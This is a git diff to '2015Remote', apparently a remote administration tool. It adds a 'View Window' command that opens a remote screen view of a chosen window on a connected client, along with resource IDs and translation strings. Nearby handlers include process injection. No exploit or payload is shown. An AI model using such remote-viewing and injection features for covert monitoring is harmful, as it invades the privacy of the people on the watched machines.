<Image Include="res\bitmap\uninstall.bmp" />
|
||||
<Image Include="res\Bitmap\Copy.bmp" />
|
||||
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
||||
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
||||
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
||||
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
||||
ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -638,3 +639,30 @@ void CSystemDlg::OnPlistAntiBlackScreen()
|
||||
memcpy(arg + 256, arch, arch.GetLength());
|
||||
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
|
||||
}
|
||||
|
||||
void CSystemDlg::OnWlistView()
|
||||
{
|
||||
int nItem = m_ControlList.GetSelectionMark();
|
||||
if (nItem < 0) return;
|
||||
auto data = (ItemData*)m_ControlList.GetItemData(nItem);
|
||||
if (!data) return;
|
||||
|
||||
// 最小化的窗口 PrintWindow 不会被调用,远程端只能看到黑屏
|
||||
if (data->Data[2] == "minimized") {
|
||||
MessageBoxAPI_L(m_hWnd, "该窗口已最小化,请先还原后再查看。", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// 布局: [clientID: uint64_t][HWND: uint64_t],共 16 字节
|
||||
// 使用子连接的 clientID 而非 IP,以确保多客户端同 IP 时路由正确
|
||||
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||
uint64_t clientID = m_ContextObject->GetClientID();
|
||||
uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID;
|
||||
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
|
||||
|
||||
ASSERT(m_pParent);
|
||||
if (!m_pParent || !m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
|
||||
delete[] arg;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -48,4 +48,5 @@ public:
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnPlistInject();
|
||||
afx_msg void OnPlistAntiBlackScreen();
|
||||
afx_msg void OnWlistView();
|
||||
};
|
||||
|
||||
@@ -1933,3 +1933,5 @@ FRPC Զ
|
||||
卸载软件=Uninstall Software
|
||||
是否移除此软件?=Uninstall this software. Are you sure?
|
||||
[安全提示] 请设置Web访问密码!!!=[Security Warning] Please set web password!!!
|
||||
查看=View Window
|
||||
该窗口已最小化,请先还原后再查看。=The window is minimized. Please restore it before viewing.
|
||||
|
||||
@@ -1924,3 +1924,5 @@ FRPC Զ
|
||||
卸载软件=卸载软件
|
||||
是否移除此软件?=是否移除此软件?
|
||||
[安全提示] 请设置Web访问密码!!!=[安全提示] 请设置Web访问密码!!!
|
||||
查看=查看
|
||||
该窗口已最小化,请先还原后再查看。=該視窗已最小化,請先還原後再查看。
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/ActiveWnd.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/ActiveWnd.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
@@ -267,6 +267,8 @@
|
||||
#define IDB_BITMAP_UNCOMPRESS 387
|
||||
#define IDB_BITMAP9 388
|
||||
#define IDB_BITMAP_COPY 389
|
||||
#define IDB_BITMAP10 390
|
||||
#define IDB_BITMAP_ACTIVE_WND 390
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -1000,14 +1002,18 @@
|
||||
#define ID_VIEW_HIDE_LOG 33061
|
||||
#define ID_33062 33062
|
||||
#define ID_COPY_CLIENT_INFO 33063
|
||||
#define ID_WLIST_33064 33064
|
||||
#define ID_WLIST_VIEW 33065
|
||||
#define ID_ONLINE_33066 33066
|
||||
#define ID_ONLINE_ACTIVE_WND 33067
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 389
|
||||
#define _APS_NEXT_COMMAND_VALUE 33064
|
||||
#define _APS_NEXT_RESOURCE_VALUE 391
|
||||
#define _APS_NEXT_COMMAND_VALUE 33068
|
||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
@@ -109,6 +109,7 @@
|
||||
#define WM_ONLINE_HOSTNUM WM_USER+3039
|
||||
#define WM_SPLITTER_MOVED WM_USER+3040
|
||||
#define WM_SPLITTER_RELEASED WM_USER+3041
|
||||
#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
|
||||
|
||||
#ifdef _UNICODE
|
||||
#if defined _M_IX86
|
||||
|
||||
Reference in New Issue
Block a user